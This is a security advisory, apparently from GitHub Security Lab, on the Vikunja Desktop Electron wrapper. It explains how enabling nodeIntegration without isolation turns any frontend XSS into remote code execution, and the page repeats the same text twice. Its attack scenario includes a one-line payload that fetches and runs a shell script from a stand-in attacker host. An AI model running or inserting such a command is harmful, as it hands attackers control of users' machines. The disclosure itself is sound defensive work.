Summary
The Vikunja Desktop Electron wrapper enables nodeIntegration in the renderer process without contextIsolation or sandbox. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs.
Root cause
The BrowserWindow is created with nodeIntegration: true and no defensive settings (desktop/main.js:11-17):
const mainWindow = new BrowserWindow({
width: 1680,
height: 960,
webPreferences: {
nodeIntegration: true,
}
})
The following hardening options are absent:
contextIsolation: true (defaults to true in Electron >=12, but explicitly setting it documents intent)
sandbox: true
nodeIntegration: false (the secure default, overridden here)
webviewTag: false
With nodeIntegration: true, any JavaScript that executes in the renderer has full access to Node.js built-in modules (child_process, fs, net, os, etc.) and can execute arbitrary system commands.
Attack scenario
- A present or future XSS vulnerability exists in the Vikunja frontend. Potential vectors include:
- Stored XSS via task descriptions, comments, or other user-generated content that bypasses sanitization
- DOM-based XSS in URL parameter handling
- XSS via a compromised or malicious third-party dependency
- The attacker exploits the XSS to inject JavaScript that executes in the victim's browser context.
- In a normal browser, the impact is limited to the web application context (session theft, data access, UI manipulation).
- In Vikunja Desktop, the injected script can additionally execute:
require('child_process').exec('curl https://evil.example/shell.sh | bash')
- Arbitrary commands execute as the victim's OS user.
Impact
Any XSS vulnerability -- which would normally be rated Medium to High in a web context -- becomes a Critical RCE in the desktop application. This dramatically increases the blast radius of frontend security bugs and makes the desktop wrapper a high-value target.
Recommended fix
Disable Node.js integration and enable proper isolation in desktop/main.js: set nodeIntegration: false, contextIsolation: true, sandbox: true, webviewTag: false, navigateOnDragDrop: false in webPreferences. If the desktop app requires any Node.js functionality from the renderer (it currently does not appear to), use a preload script with contextBridge.exposeInMainWorld() to expose a minimal, validated API surface.
Credits
This vulnerability was found using GitHub Security Lab Taskflows.
Summary
The Vikunja Desktop Electron wrapper enables
nodeIntegrationin the renderer process withoutcontextIsolationorsandbox. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs.Root cause
The
BrowserWindowis created withnodeIntegration: trueand no defensive settings (desktop/main.js:11-17):The following hardening options are absent:
contextIsolation: true(defaults totruein Electron >=12, but explicitly setting it documents intent)sandbox: truenodeIntegration: false(the secure default, overridden here)webviewTag: falseWith
nodeIntegration: true, any JavaScript that executes in the renderer has full access to Node.js built-in modules (child_process,fs,net,os, etc.) and can execute arbitrary system commands.Attack scenario
require('child_process').exec('curl https://evil.example/shell.sh | bash')Impact
Any XSS vulnerability -- which would normally be rated Medium to High in a web context -- becomes a Critical RCE in the desktop application. This dramatically increases the blast radius of frontend security bugs and makes the desktop wrapper a high-value target.
Recommended fix
Disable Node.js integration and enable proper isolation in desktop/main.js: set nodeIntegration: false, contextIsolation: true, sandbox: true, webviewTag: false, navigateOnDragDrop: false in webPreferences. If the desktop app requires any Node.js functionality from the renderer (it currently does not appear to), use a preload script with contextBridge.exposeInMainWorld() to expose a minimal, validated API surface.
Credits
This vulnerability was found using GitHub Security Lab Taskflows.